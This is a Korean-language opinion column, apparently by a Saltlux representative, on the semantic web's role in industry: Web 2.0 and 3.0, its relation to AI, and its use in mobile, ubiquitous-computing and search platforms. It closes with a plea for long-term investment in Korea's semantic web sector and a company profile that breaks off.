1770년 이후 시작된 이른바 산업혁명은 섬유산업 발전과 철강산업, 철도와 자동차에 이르는 거의 200년에 걸쳐 인류에게 큰 혜택과 동시에 어두운 그림자를 만들어왔다. 산업 혁명 과정을 잘 살펴보면, 매 30~50년마다 새로운 혁신 산업이 태어나고, 각 신흥 산업은 국가와 세계 경제의 주요 성장 엔진으로 자리매김하게 된다. 이러한 산업적 발전과 흐름은 산업 사회를 지나 정보 사회에 이르러서도 여전히 공식처럼 작동되고 있음을 발견하게 된다. 1940년대 시작된 컴퓨터 산업은 1990년에 이르러 중흥을 맞이하게 되고, 2000년대에는 산업 자체의 성장은 멈춰진 듯 보인다. 인터넷과 웹에 기반한 산업도 1980년대에 시작되어 한차례 큰 어려움을 격어 내고, 20년 만에 가장 수익성 좋은 산업으로 자리매김하였다. 각 산업적 혁신은 시장에서의 걸출한 영웅을 배출하게 되는데, 자동차의 포드, 컴퓨터나 반도체의 IBM과 인텔 그리고 인터넷에서의 구글과 야후 등을 예로 들 수 있을 것이다. 재미있는 사실은 각 산업의 초기 단계에서는 영웅적 창업자들이 그리 환영 받지 못했거나, 심지어는 비웃음을 받기도 했다는 것이다. 한 때, PC통신 시대의 산업적 리더들이 인터넷과 웹의 패러다임을 이해하지 못하고, PC통신의 부가 서비스 혹은 개선 관점으로 접근함으로, 모두 시대의 뒤안길로 사라진 사실을 상기할 필요가 있겠다.

이러한 산업의 혁신과 발전의 역사는 창의적 사업가들에게 엄청난 기회를 제공해 왔고, 이제 2010년을 바라보며, 새로운 성장 동력으로서의 산업이 발견되리라는 희망을 다시금 가지게 한다. 지난 몇 년간 주목 받고 있는 대표적 기술 혁신 산업을 보면 바이오, 나노, 유비쿼터스 등을 들 수 있을 것이다. 이중 유비쿼터스 패러다임은 지식정보의 처리와 차세대 이동 통신, 광대역 네트워크 기술 도입과 함께, 웹과 인터넷에서도 새로운 산업적, 기술적 발전을 가속화 시키고 있다. 본 칼럼에서는 시맨틱 웹 혹은 시맨틱 웹 기술이 새로운 산업적 혁신의 인프라로서 어떤 역할을 할 수 있을지, 어떤 과제를 가지고 있는지 살펴 보고 기술 비전과 산업 현실 사이에서 고민하고 있는 한국의 현 주소를 말하고자 한다.

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그림 1. IT 기술 환경의 변화 (솔트룩스. 2007)



Web 2.0, 시맨틱 웹 그리고 Web 3.0 ?



2006년도에 미국에 출장을 갔다가 웹의 발명자이며, W3C의 수장을 맡고 있는 팀 버너스리(TBL)를 만나 이런 저런 얘기를 나눈 적이 있다. 그 중 가장 기억에 남는 대화는 “웹 2.0”에 대한 내용이었다. 많은 사람들이 TBL에게 웹 2.0에 대해 어떻게 생각하는지를 물었고, 그의 태도와 입장은 명확했다. 소위 “웹 2.0”이라고 얘기되는 것은 자신이 제창했던 원래의 웹(웹 1.0?)과 크게 다름이 없으며, Ajax와 같은 기술적 요소와 응용적 발전은 높게 평가할 만 하지만, 이는 이미 기존 웹이 가지고 있던 잠재력 이었다는 것이다. 같인 시기에 미국의 동부와 서부에서 각각 열린 “인기 절정의 웹 2.0 컨퍼런스”와 “시맨틱 웹 컨퍼런스”에서 그가 후자를 선택해 참여했음이 이러한 그의 관점을 잘 설명해 준다고 생각한다. 어째든 TBL의 말처럼, 웹 2.0 없이 시맨틱 웹만으로도 좋으나, 시맨틱 웹과 웹 2.0 개념이 함께할 때 더 좋다는 말에 나는 적극 찬성을 하고 있다.

최근 인터넷과 웹이 데스크탑과 브라우저 밖으로 확장해 감으로 이제는 “웹”의 정의가 점점 더 모호해지고 있다. 초기의 웹(The Web)은 인터넷을 통해 하이퍼텍스트로 연결된 문서들의 세상이고 웹 브라우저를 통해 웹 페이지와 콘텐트들을 접근할 수 있는 것이다라고 인식 되었다면, 이제는 W3C에서 정의한 것처럼, “네트워크를 통해 접근 가능한 인간 지식 표현의 세상”이라고 해도 과언이 아니다 주). 기본적으로 URI와 XML(혹은 HTML) 문법, name space가 사용되어 네트워크를 통해 접근 가능한 뭔가가 있다면, 이미 그 자체가 웹의 한 구성 요소가 되어 있는 것이다. 이러한 확장된 웹의 개념은 현재 모바일 웹과 유비쿼터스 웹 그리고 시맨틱 웹 부문에서 표준화 과정을 밟으며, 활발히 논의, 발전되고 있다.

웹 2.0에 대한 관심이 조금 시들해 지고, 현재의 웹 산업이 성숙되었다는 인식이 확산되면서, 차별화되는 뭔가의 차세대 웹에 대한 예측과 논의, 논쟁이 활발히 진해되고 있다. 특히, 2006년경에 미국 쪽에서 본격적으로 거론되기 시작한 웹 3.0 관련 논의가 이제 웹 상에서 벌써 100만개 이상의 문서와 웹사이트가 검색될 정도로 관심의 대상이 되었다. 개인적으로는 웹에 숫자를 붙여가는 식으로 선을 긋는 다는 것에 거부감을 가지고 있는 편이지만, 때로는 시장과 고객에게 설명하기 쉽다는 관점에서 너그럽게 수용해 보기도 한다. 웹 3.0에 대한 분분한 예측과 논쟁을 정리해 보면, (1)시맨틱 웹 혹은 데이터의 웹(web of data), (2)실행 가능한 웹(executable web) 정도로 크게 나누어 볼 수 있을 것이다주1). 이러한 차세대 웹 환경은 보다 똑똑해진 서비스 구현이 가능하고, 개인 맞춤형과 추천이 핵심이 될 수 있는, 그리고 다양한 서비스 개체들이 상호 참조, 재활용 될 수 있는 플랫폼을 제공하게 될 것이라는 데 큰 이견은 없어 보인다. 종합해 보면, 차세대 웹은 시맨틱 웹 기술 인프라 위에, 플랫폼, 집단지성 등의 웹 2.0의 사업적 사상과 확장성, 개인 맞춤형, 추천과 같은 유비쿼터스의 상황인지적, 이음세 없는 서비스의 패러다임이 결합된 형태로 발전할 것으로 예측된다.



시맨틱 웹은 인공지능(AI) 웹인가?



시맨틱 웹의 표준화 과정에서 온톨로지와 로직, 추론이라는 범위가 포함됨으로, 시맨틱 웹이란 것이 실패한 인공지능의 재포장이 아니냐는 의혹과 공격을 받아 왔다. 인공지능 관련한 기술과 이론이 산업의 대단히 많은 부문에서 숨은 성과를 낸 점을 고려 했을 때, 과거의 연구가 실패했다고 단정해 버리는 것에 문제 제기하고 싶으나, 이보다 더 중요한 점은 시맨틱 웹과 인공지능을 동일시 하는 실수를 하지 말아야 한다는 점이다. W3C와 TBL은 시맨틱 웹이 고민되던 가장 초창기부터 시맨틱 웹이 인공지능이 아니라고 명확히 선언하고 있다.주2) 시맨틱 웹은 그 정의대로, 기계가 읽고 처리할 수 있는 잘 정의된 “데이터의 웹”이다. 얼마 전 TBL은 시맨틱 웹과 AI의 관계를 다음과 같이 정리하였다. “시맨틱 웹은 AI가 아니고, AI는 시맨틱 웹이 아니며, AI는 연구 분야고, 시맨틱 웹은 프로젝트이다. AI는 시맨틱 웹에 많은 기여를 하였고, 마찬가지로 시맨틱 웹은 AI 활동의 장이 될 수 있다.주3)” 사실 AI를 어떻게 정의 내릴 수 있는가도 큰 토론 주제이지만, 사람처럼 행동하거나 사고하는 시스템, 혹은 논리적(합리적)으로 행동하고 사고하는 시스템이라는 고전적 정의주1)를 기준으로 보면, 시맨틱 웹은 AI와 적당한 거리를 두고 있고, 상호 협력적 기여를 할 수 있는 존재임이 분명하다.

시맨틱 웹은 데이터의 웹이라는 관점에서, 웹 상의 다양한 서비스와 데이터들이 상호운용(interoperable)되기 위한, 그리고 사람과 기계, 기계와 기계가 지식 정보를 상호 명확히 정의하고 교환할 수 있는 공통 언어 및 아키텍처의 표준이라 할 수 있다. 이런 관점에서는 시맨틱 웹을 URI와 XML name space, RDF 측면에서 더 잘 관찰해 볼 필요가 있다. 시맨틱 웹은 모든 단위 데이터 혹은 지식 정보를 트리플(triple)로 표현하며 이 트리플은 URI와 XML 문법을 따르고 name space를 가질 수 있다. 데이터를 그래프 구조의 트리플로 표현한다는 것, 이것이 시맨틱 웹의 기본이다. 그리고 그 위에 상호운용과 의미 모호성 배제를 위한 스키마가 존재하게 되는 것이다. AI가 사고와 행동을 중시하고, 이를 위해 지식 표현과 로직을 사용한다면, 시맨틱 웹은 1차적으로 상호운용을 목적으로 한 웹 상의 데이터가 중시되는 것이다. 그리고 그 위에 지식 표현과 로직이 적용되어야 한다.

2004년 RDF, OWL 등의 시맨틱 웹 체계와 언어가 표준화되면서, 많은 연구자들이 데이터 보다는 지식 표현과 로직에 집중하는 경향이 있었다. 그리고 시맨틱 웹과 OWL을 동일시 하거나, OWL 중 Description Logic을 시맨틱 웹 언어의 전체로 인식하는 오해를 받기도 했다. 어째든 이런 과정을 거치며, 지난 4년간 얻은 큰 기술적 소득은, 트리플 정보의 자동 생성, 수십억 개 이상의 대용량 트리플 저장과 관리, 향상된 SPARQL 질의 엔진 등의 상용 기술 확보와 이에 기반한 여러 산업적 성공 사례들을 경험하게 되었다는 것이다.

2008년에 들어서면서 적어도 미국 시장에서는 시맨틱 웹 기술이 산업적 탄력을 받고 있는 것으로 보인다. 이러한 시장의 관심은 시맨틱 웹을 표방한 수 많은 벤처 기업을 탄생 시키고, 오라클, 야후, IBM 같은 거대 기업이 시맨틱 웹 플랫폼과 시맨틱 검색 엔진을 출시하도록 만들었다. W3C 내에서도 상용적, 실용적 시맨틱 웹을 위한 부단한 노력을 기울이고 있다. 이중에 RDFa와 GRDDL은 초기 시맨틱 웹 활성화를 위한 중요한 요소라고 할 수 있다. 또한, 온톨로지와 로직 관련해서도 보다 실용적 프로젝트들이 추진 중인데, 논리 표현 수준을 낮추면서 실용 수준의 고속 추론이 가능한 OWL 1.1의 제안이 대표적인 활동이라 하겠다.

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그림 2. 표준화 진행 중인 OWL 1.1 (솔트룩스/W3C, 2007)

앞에서 설명한 것처럼, 상호운용성은 시맨틱 웹의 존재 이유 중 하나이다. 시맨틱 웹의 근간이 데이터의 웹임이 분명하고 데이터 없이 시맨틱 웹은 존재할 수 없다. 그러나, 또한 “시맨틱”이라는 용어가 의미하듯이 단순한 단위 데이터(트리플)들의 집합이 시맨틱 웹이 될 순 없다. 데이터들의 의미 모호성 해소, 명시성 확보, 데이터와 서비스의 공유와 교환을 위해서는 공통의 언어(common language)가 필요하며, 이것이 단순하던 복잡하던 웹 온톨로지가 필요한 이유이다. 온톨로지(RDFS, OWL)가 참조되지 않은 RDF 데이터의 집합은 시맨틱 웹이라기 보다는 웹에서 접근 가능한 그래프 구조의 데이터 집합일 뿐이다.



시맨틱 웹은 오래된, 이미 실패한 기술인가?



최근, 소프트웨어 산업뿐 아니라 국제 산업 환경 전반에 위기감이 고조되고 있다. 특히 원자재 수입 및 완제품 수출 의존도가 매우 높은 한국 경제의 경우 환율, 유가, 원자재가 등의 예측되지 않는 경영 환경 변수의 변동이 경영자들에게 큰 스트레스가 되고 있는 것이 사실이다. 어려운 국제 사업 환경에서도 한국이 반드시 성공할 수 밖에 없는 가장 큰 본질적 경쟁력을 하나만 든다면, 주저함 없이 “스피드”를 고를 수 있을 것이다. 서양의 200년을 50년이라는 짧은 시간에 믿지 못할 속도로 성장을 이루어 낸 한국인들에게는 외국인보다 4배는 빠른 시계를 가지고 있음이 확실하다. 인터넷을 포함해 IT전반에서의 이러한 속도 경쟁력, 새로운 것에 대한 수용성, 불편함을 좀처럼 참기 힘들어 하는 습성은 지금의 한국을 만들어 준 가장 큰 동력 중 하나라고 평가할 만 하다. 오죽하면 한국에서는 당연히 여겨지는 당일, 현장 휴대폰 A/S가 서양 사람들에게는 감동이 되었을까. 문제는, 2만불 국민소득 시대가 되니 이러한 “빨리 빨리” 경쟁력에 가리워졌던 그늘들이 하나 둘씩 성장의 뒷다리를 잡더라는 것이다. 가장 큰 문제 중 하나는 거의 모든 부문에서 장기적 안목으로 차분히 발전 전략을 추진하지 못하고, 압축해서 해결해 버리려고 하며, 조급하게 단정하고, 성공과 실패를 규정해 버리는 것이다.

특히, 기술부문에 있어서는 케케묵은 문제가 새삼 한국 경제 성장의 한계로 작용하고 있다. 바로 핵심 기술, 원천 기술의 결여와 같은 것인데, 응용 기술로 빠른 성장 전략을 구사했던 한국은 속도와 장기적 안목이라는 두 가치 사이에서 딜레마에 빠진 것이다. 이러한 특성은 소프트웨어 산업과 웹 기반 서비스 산업에서도 공통된 문제로 작용하고 있다. 새로운 기술과 사업의 장기적 안목을 가지지 못하고, 핵심 기술 개발과 산업 기반 확보 등의 과정을 생략하고 응용과 활용 기술에서 승부를 보고자 하기 때문이다.

시맨틱 웹 기술은 응용, 서비스 기술이 아니다. 많은 산업에 영향을 주는 인프라 기술이며, 눈에 보이지 않는 느리게 움직이는 깊은 바다의 큰 조류인 것이다. 분명히 시맨틱 웹의 한 구성 요소인 온톨로지와 로직은 이미 2300년이나 된 오래된 것이고, AI와 추론 기술도 30~40년이 된 기술임은 틀림 없다. 그럼에도 실제 시맨틱 웹이 표준화 된지는 이제 4년 밖에 안 되었고, 이제서야 산업적 기술적 기반이 확보되어 가는 상황에서 기술과 산업의 성패를 거론한다는 것은 매우 안타깝고 경솔한 판단이 아닐 수 없다. 우리에게는 시맨틱 웹을 포함해 다양한 인프라 산업 기술들의 사업적 기반 확보를 위해, 보다 많은 노력과 인내심이 필요하다. 1989년 TBL에 의해 제창된 웹과 HTML이 시장에서 인정을 받는데 거의 10년이 걸렸고, 사람들에게 분명한 편익을 제공하고, 사업적 가치가 있다는 것을 확인하는데, 13년 이상의 세월이 필요 했다는 것을 기억하자. 아마도 시맨틱 웹의 온전한 구현은 더 오랜 기다림과 인내를 필요로 할 것이다.

매년 가트너 그룹, IDC에서는 주요 기술과 산업에 대해 심도 있는 시장 조사와 분석을 수행하고, 시장 예측 전망을 내놓는다. 지난 4년 동안 시맨틱 웹 기술과 시장은 한 해도 빠짐 없이 중요한 기술과 미래 시장으로 전망되며, 분석/예측되어 왔다. 주목할 만한 사실은 가트너 그룹의 경우 시맨틱 웹 기술이 Hype Cycle의 기술 과장(inflation) 단계를 넘어 이제 상용화 단계로 넘어가고 있다고 진단했다는 것이다. 최근 조사 분석된 자료를 보면, 시맨틱 웹이 활성화 되는데 꽤 오랜 시간이 걸릴 것이라 예측하고 있지만, 그림 3처럼 이미 시작된 시맨틱 웹의 초기 단계는 RDFa와 같은 형태로 HTML 문서에 내장된 Semantic Hypertext가 폭 넓게 쓰일 것이며, 2010년경에는 웹에서 RDFa와 RDF가 매우 일반화되어 사용될 것으로 전망하고 있다. 한국시맨틱정보산업협회의 분석에 의하면 궁극적 시맨틱 웹 비전의 달성은 10년에서 15년이 걸릴 것으로 예측하고 있는데, “3~5년 전망은 늦어져도, 10~20년 전망은 예상보다 빨라 지더라”고 한 누군가의 말처럼, 실제 시맨틱 웹의 산업적 가치는 더 빠르게 실현될 것이다. 2008년 봄, 웹에는 100만개 이상의 RDF와 2만개 이상의 OWL 파일이 유통되고 있다. RDFa의 양은 측정도 되지 못하고 있다.

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그림 3. 시맨틱 웹의 진화 (한국시맨틱정보산업협회, 2007)



서비스 플랫폼에서의 시맨틱 웹



멀티사이드 플랫폼 비즈니스와 시맨틱 웹



현재의 웹이 개방 공유된 실질적 시맨틱 웹으로 발전하려면 더 많은 인내와 노력이 필요하겠지만, 특정 분야에서는 빠르게 수용되어 실용화되고 있다. 이미 밝힌 것처럼, 시맨틱 웹의 근본 취지인 상호운용성은 이것이 중요시 될 수 밖에 없는 다양한 멀티사이드 플랫폼(multi-sided platform)에서 인공지능적 요소와 함께 활용되고 있다.



이동통신 서비스 플랫폼과 시맨틱 웹



국내뿐 아니라 대부분의 선진국가에서 이동통신 서비스 시장은 성숙 산업으로 대단한 경쟁 상황에 놓여있다. 최근 일본은 무료 통화 가격 경쟁이 붙었고, 미국에서는 FCC의 700Mhz 경매에 구글이 뛰어 들면서, 더욱 치열한 경쟁 속에서 정부만 큰 돈을 벌게 될 것으로 전망되고 있다. 특히, 구글은 주파수 경매 참여와 함께 안드로이드(Android) 모바일 단말 플랫폼을 무료로 제공하기 시작함으로 모바일 시장에서의 새로운 사업자로 견제를 받고 있다.

이러한 모바일 서비스 시장의 경쟁 가속화는 가입자 포화의 요인 뿐 아니라, 3G환경에서의 망 개방과 자유로워진 지역 로밍, 그리고 skype 등의 인터넷 전화 서비스가 이동통신시장에 진입 하는 등, 매우 다양한 변수가 동시에 작용되고 있다. 2000년대 초 유럽의 WWRF에서 이러한 모바일 시장 환경에 대응하기 위한 토론과 연구가 진행되었고, 시맨틱 기술이 적용된 모바일 서비스 플랫폼을 그 추진 방향으로 제시하게 된다. 모바일 서비스 사업이 결국은 멀티사이드 플랫폼 사업으로 바뀔 수 밖에 없음을 예상하고 있는데, 이는 망을 틀어 쥐고 있는 것이 더 이상 경쟁력의 원천이 될 수 없으며, 개방된 플랫폼으로 서비스 사업자, 콘텐트 사업자, 광고주, 별정사업자, 고객을 적극적으로 참여시킴으로 하나의 생태계(ecosystem)을 구현하고, 그 생태계를 쥐고 있겠다는 계산이 된다. 아마도 구글이 모바일 서비스를 시작한다면, 안드로이드 위에 다양한 서비스 어플리케이션과 콘텐트를 연결하고, 돈은 광고주로부터 벌고, 고객은 무료로 이동통신 서비스를 사용하도록 하는 전형적 멀티사이드 사업을 진행하게 될지도 모르는 일이다.

어째든, 이러한 모바일 플랫폼에서 왜 “시맨틱 웹”이 거론되고 있는 것일까? 답은 간단하게도 상호운용성과 맞춤형 서비스로 정리된다. 생태계를 구성하기 위해 차세대 모바일 플랫폼의 가장 중요한 요구사항은 다양한 데이터, 서비스 리소스의 재활용과 생산성 향상일 것이다. 이동통신 망과 그 서비스 시스템은 매우 복잡하고, 방대하며, 각 서비스 마다 분산된 이질적 데이터를 별도로 운영하고 있다. 서비스 생산성 향상과 구축, 운용 비용을 줄이기 위해서는 이러한 자원들의 상호운용성을 반드시 확보해야 하는데, 이를 위해서는 뭔가의 의미적 통합 체계가 필요하다고 판단되는 것이고, 현재로서는 시맨틱 웹 기술이 가장 좋은 대안 중의 하나로 평가되고 있다. 두 번째 요소인 서비스 개인화는 데이터 서비스 구매를 유도하도록 하여, 통신료 수익을 향상시키겠다는 목적이 깔려있다. 이미 꽤 오랜 기간 동안 이동통신 회사들은 데이터 기반 서비스 인프라 구축에 큰 투자를 해왔는데, 여전히 음성 통화와 SMS가 주된 수입으로, 데이터 서비스 매출 증가는 더딘 편이다. 만약, 사용자 상황(context)과 개인 선호(preference)에 적합한 서비스와 콘텐트를 추천할 수 있게 된다면, 불편한 단말 환경에서의 서비스 발견성(findability)이 향상될 것이고 이는 서비스 구매율의 증가를 의미한다. 시맨틱 웹 기술 기반의 사용자 상황, 선호 정보 표현, 사회망 분석 등은 여러 도전적 과제에도 불구하고 매우 매력적인 요소임이 틀림없다.

모바일 환경에서의 멀티사이드 플랫폼 사업은 이제 막 시작된 단계라고 할 수 있다. WWRF에 이어 WWI주1)가 창설되면, EU FP6와 FP7의 IST(Information Society Technologies) 프로그램 중 차세대 모바일 플랫폼 부분을 이끌고 있으며, 대표적 사업인 MobiLife와 Spice에서 시맨틱 웹 기술이 이미 시범적으로 적용 되었다. 솔트룩스는 EU의 FP6와 FP7을 수행하고 있는 유일한 한국 기업인데, 공동 사업을 수행하는 텔레포니카, 이텔, 도이치텔레콤(티모바일), 폴리쉬텔레콤, 지맨스 뿐 아니라 프랑스텔레콤(오랜지)과 BT, 도코모, 노키아 등 대부분의 통신 관련회사들이 시맨틱 웹 기술을 자사의 플랫폼과 서비스 체계에 적용하는 연구들을 진행하고 있다. 국내에서는 KT와 KTF가 이 분야에 많은 투자를 하고 있다.



유비쿼터스 서비스 플랫폼과 시맨틱 웹



한국에서는 초등학생도 아는 “유비쿼터스”라는 단어가 웬만큼 학식 있는 서양 사람들에게도 상당히 생소한 단어라는 것은 참 재미있는 사실이다. 센서 네트워크나 미들웨어 플랫폼, 다양한 엑추에이터/단말 등 인프라도 깔리지 않은 상황에서 한국은 U-City를 포함해서 대부분의 아파트가 이미 유비쿼터스 아파트가 되어 버린 것 같고, 인프라도 없이 유비쿼터스 서비스 시스템을 구축하도록 요구 받고 있다. 지능형 홈네트워크 사업과 같이 이미 몇몇 유비쿼터스 지향 사업들은 실패한 것으로 여겨지고 있기도 하니, 안타까울 따름이다. 시맨틱 웹과 마찬가지로, 절차를 거치지 않고 압축 과속하는 느낌을 버릴 수 없다.

어째든, 팔로알토 제록스 연구소의 천제적 과학자 마크와이저(Mark Weiser)에 의해 제안된 유비쿼터스 컴퓨팅 개념은, 현재 상황인지(context awareness)와 지능형 서비스라는 큰 틀에서 다양한 분야에 파급, 적용되고 있다. 유비쿼터스 서비스 시나리오들의 대표적 특성을 보면, (1)사용자, 사용자 그룹 혹은 시스템의 상황을 인지해 내고, (2)분산된 이질적 컴퓨팅 개체들이 상호 의사소통, 협력하여, (3) 맞춤형 서비스를 위한 자원을 확보하고, (4)안전하게 서비스를 수행 유지하며, (5)다양한 디바이스와 이동환경에 대응해, (6)사용자 혹은 컴퓨팅 개체와 상호작용하여, (7)이음세 없는 서비스를 수행 한다는 정도로 정리해 볼 수 있다. 이러한 서비스 시나리오의 기술적 과제로는 (1)어떻게 상황정보를 표현할 것인가? (2)각 이질적 컴퓨팅 개체가 타 개체와 어떻게 상황 정보를 주고 받고 통합할 것인가? (3)기계가 어떻게 상황을 “인지”할 수 있는가? (4)기계가 스스로 적합한 서비스를 결정할 수 있는가? 등등이 있는데, 이들 모두 상호운용성과 정보의 의미 처리가 전제되어 있어야 함을 알 수 있다. 특별히 유비쿼터스 형 서비스에서는 시스템의 지능적 행동 부분이 보다 강조되는데, AI적 요소가 더 부각되어야 함을 알 수 있다. 정리해 보면, 상황정보와 지식의 의미 모호성 없는 표현과 공유, 이에 기반한 추론 기능이 요구되고, 이는 시맨틱 웹의 많은 장점과 부합되는 면이 있다.

실제 국내외에서 진행되고 있는 많은 유비쿼터스 프로젝트들이 시맨틱 웹 기술을 상황인지와 추론, 분산 구조 상에서의 상호운용성 확보를 위한 플랫폼의 기반 기술로 활용을 하고 있다. 또한 URI 기반의 시맨틱 웹 표준을 따름으로 개방 구조의 웹 접근성 확보, 도메인 지식 확장의 가능성을 열어두고 있다. U-City와 같이 상당히 큰 규모의 프로젝트에서는 결국 실시간 대용량 상황정보 처리와 실용적 추론이라는 기술적 과제를 가지게 되는데, 하루 10억개 이상의 센서 정보를 트리플로 변환하여 저장, 수십ms 내에 추론을 해 내는 현 기술 수준에 상황정보 필터링 기술 등이 추가로 발전해야 할 것으로 판단된다. 최근에 전국적으로 U-City 프로젝트들이 경쟁적으로 추진되고 있는데, 보여주기 위한, 구호에 멈추는 유비쿼터스가 되지 않기 위해서는 보다 체계적이고 진지한 접근과 장기적 안목의 투자와 관리가 반드시 수반되어야 할 것이다.



의미기반 검색과 시맨틱 웹 서비스 플랫폼



역시 시맨틱 웹의 백미는 의미기반 검색이 될 것임이 분명하다. 이미 구글을 비롯해 많은 인터넷 기업들이 자신의 검색 플랫폼 API를 공개하고 이를 통한 간접 네트워크 효과를 톡톡히 누리고 있다. 이런 상황에서 야후는 3월 중순 시맨틱 웹에 본격 대응하고, 시맨틱 웹 기반 검색 서비스를 추진한다고 발표했다주1). 필자가 알고 있는 정보로는 구글도 내부에서 다양한 시도를 진행하고 있다. 시맨틱 검색에 대한 요구는 전통적으로 재현율에 강점을 보여온 키워드 검색의 품질 만족도를 향상시키자는 목적에서 출발된다. 구글을 포함해 대부분의 검색 포털은 웬만한 키워드에 대해 적게는 수만 개 많게는 수천만 개의 검색 결과를 제공한다. 이러게 많은 검색 결과는 사용자에게 결코 도움이 되지 못하고 있다.

시맨틱 검색이 가야 할 길은 아직 멀지만, 매우 다양한 시도가 이루어 지고 있다. 그 중에서 주목해 볼 만한 대상은 바로 IBM이다. IBM은 UIMA주2) 프레임워크를 공개, 표준화하고 이를 자사의 OmniFinder와 연결함으로 시맨틱 검색 플랫폼을 B2B 및 B2C 시장에 본격 공급하기 시작했다. UIMA는 텍스트와 같은 비 구조적 문서를 분석하여 시맨틱 메타데이터를 생성하고, 이를 검색엔진 등과 연동할 수 있도록 돕는 공개 프레임워크 인데, 기존의 텍스트 마이닝 기술을 시맨틱 웹 및 시맨틱 검색에서 활용할 수 있도록 하고 있다. 오픈 플랫폼으로서 UIMA의 위치는 매우 절묘해 보인다. 수 많은 검색 엔진들이 쉽게 시맨틱 검색으로 발전할 수 있는 틀을 만들어 줄 뿐 아니라, 다양한 비즈니스 이해 관계자들을 불러 모으고 있기 때문이다. 물론 조금 더 지켜 봐야겠지만, 무료로 배포되고 있는 OmniFinder와 UIMA가 어떤 형태던 플랫폼으로의 산업적 가치를 생산해 낼 가능성이 높아 보인다.

실제 웹 세상이 충분한 양의 RDF와 OWL로 채워지기 전에는 텍스트 마이닝에 의한 약한 시맨틱 검색이 중요한 대안이 될 것이다. 특히, 개체명 인식을 통한 키워드의 모호성 해소 라던지, 자동 군집을 통한 정보 접근성, 검색 정확성 향상은 당분간 고객의 검색 만족도 재고에 충분한 역할을 할 것이다. 궁극적으로는 그림 4와 같이 시맨틱 웹과 기존 웹을 대상으로 의미기반 검색뿐 아니라, 적절한 수준의 지식 베이스 기반 정보 추론 서비스가 통합될 것이다.

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그림 4. 시맨틱 웹 기반 검색 시스템 (솔트룩스, 2007)

시맨틱 웹에 기반한 또 다른 중요한 응용 플랫폼으로 웹 정보 통합 플랫폼과 시맨틱 웹 서비스 플랫폼, 소셜 네트워크 서비스 플랫폼 등을 들 수 있다. 웹 정보 통합 플랫폼은 웹 페이지, 미니홈피, 블로그 등으로 분리되어 있는 웹 자원들을 의미기반으로 상호운용 하도록 돕는다. 대표적은 사례로 DERI의 SIOC주1) 프로젝트를 들 수 있는데, SIOC은 시맨틱 웹 기반에 다양한 웹 자원과 소셜 네트워크를 의미메타데이터로 연결하고 상호 연결활 수 있는 환경을 제공한다. 시맨틱 웹 서비스 플랫폼으로는 WSML, WSMO 기반의 WSMX주2)를 들 수 있다. WSMX는 시맨틱 웹 기술을 활용해 웹 서비스 개체들을 보다 유연하게 설계 구현하고 통합, 실행할 수 있도록 돕는다.



보이지 않는 엔진, 시맨틱 웹



2007년, SAC(Semantic Annual Conference)에서 STI의 디터펜젤 교수와 일본의 미조구치 교수 등을 초청하여 시맨틱 웹 국제 강연회를 개최한 적이 있다. 워낙 저명한 분들을 모신지라, 기자 회견이 별도로 있었는데, 한 기자 분이 다음과 같은 질문을 했다. “가장 훌륭한 시맨틱 웹 기술이 무엇입니까?” 디터펜젤 교수가 망설임 없이 대답했다. “보이지 않는 시맨틱(invisible semantic)입니다.” 통찰력을 주는 한마디였다. 웹 2.0이 산업적 관점, 사용자 관점, 서비스 관점에서 눈에 보이게 추진되어 왔다면, 시맨틱 웹은 분명히 학문적, 기술적 관점에서 접근 한 경향이 있고, 실제 상용화 되어 산업 깊숙이 파고든다고 하더라도 눈이 쉽게 보여지는 기술은 아니다. 실제 10년이 걸려서 웹 세상이 시맨틱 메타데이터로 충분히 채워진다고 하더라도, 시맨틱 웹 그 자체가 평범한 사용자의 눈에 보여지진 않을 것이다. 수 많은 불로그와 뉴스들의 RSS가 RDF에 기반한다는 것이 눈에 보이지 않았던 것처럼.

시맨틱 웹의 발전이 고객에게 주는 궁극적 편익은 무엇이 될 것인가? 아마도 보다 편하고 정확한 정보 획득과 활용, 온전히 표현되고 연결된 지식들로부터 통찰력을 얻게 되는 것이 너무나도 자연스러운 일상이 되는 것을 미래의 고객들은 경험할 것이다.



한국의 시맨틱 웹 산업, 어떻게 발전해야 하나?



최근 미국의 시맨틱 웹 산업이 발전되는 양상을 보면서 많은 교훈을 얻는다. 기반 기술의 이론적 토대 마련은 학교에서, 막대한 연구 자금은 DARPA와 같은 정부 기관이 다양한 프로젝트를 통해서, IBM을 포함한 대기업들은 끊임 없는 개발 투자와 그 결과의 공개를 통해, Oracle과 몇몇 기업들은 철저한 상용화 정책을 고수하면서, 그렇게 산업을 유기적으로 한 단계 한 단계 발전시켜 가는 것이 피부로 느껴진다. 초기 연구단계에서는 유럽이 주도권을 가졌다면, 현재 상용화 단계는 기업들에 의해 미국을 중심으로 발전하는 모습이 명확하다. 특히, 매년 개최되는 Semantic Technology Conference주1)는 철저하게 산업계 주도로 진행되고, 매년 참여자가 수백 명씩 큰 폭으로 증가하고 있는 것이 부러울 따름이다.

반면에 한국은 국가 주도의 몇몇 R&D 사업이 명맥을 유지하고 있고, 소수의 벤처기업만이 시맨틱 웹의 비전을 외치며 고군분투하고 있는 실정이다. 또다시 생태계 얘기를 하게 되어 안타깝지만, 시맨틱 웹 산업은 인프라 산업이며, 장기적 안목을 가지고 깊은 뿌리를 내리게 해야 할 대상이다. 가치 사슬이 산업 전체에 잘 구성되어 순환이 될 때라야 비로서 뭔가 손에 잡히는 성과와 산업적 가치가 생기게 되기 때문이다. 대충 한 번 시도해 보고, 눈에 보이지 않는다고 포기하게 된다면, 인터넷 강국, IT강국이라 얘기하지만 국민 모두가 인텔의 CPU와 MS 윈도우 위에 IE 브라우저를 띄우고, 아파치 서버에 접속해서 MS-SQL에 저장된 정보를 시스코 라우터를 통해 전달받는, 그리고 우물 안 개구리처럼, 오직 국내 시장에서만 큰 목소리 내는 웹 산업계의 현실이 미래에도 계속 반복될 뿐이다.

어떻게 하면 될까? 눈에 보이는 성과 너머의 큰 비전을 마음 품고 사명감과 인내심을 가지고, 샘이 깊은 우물을 파는, 그리고 마침내는 성공에 이르는 멋진 리더들이 늘어난다면 뭔가 큰 변화가 일어날 수 있지 않을까?



About Saltlux Inc.
솔트룩스는 기업용 검색솔루션 및 정보 마이닝, 시맨틱 웹, 유비쿼터스 컴퓨팅 등 차세대 웹 및 지식 서비스 전문기업입니다. 정보 마이닝 및 시맨틱 기술 부문에서는 국내 1위 기업으로서의 시장을 확보하고 있으며, 미국 및 유럽의 세계적인 기업 및 연구 단체들과 공동연구 및 협력을 통해 세계적인 기술력을 보유하고 있습니다.

주요사업영역 및 핵심기술
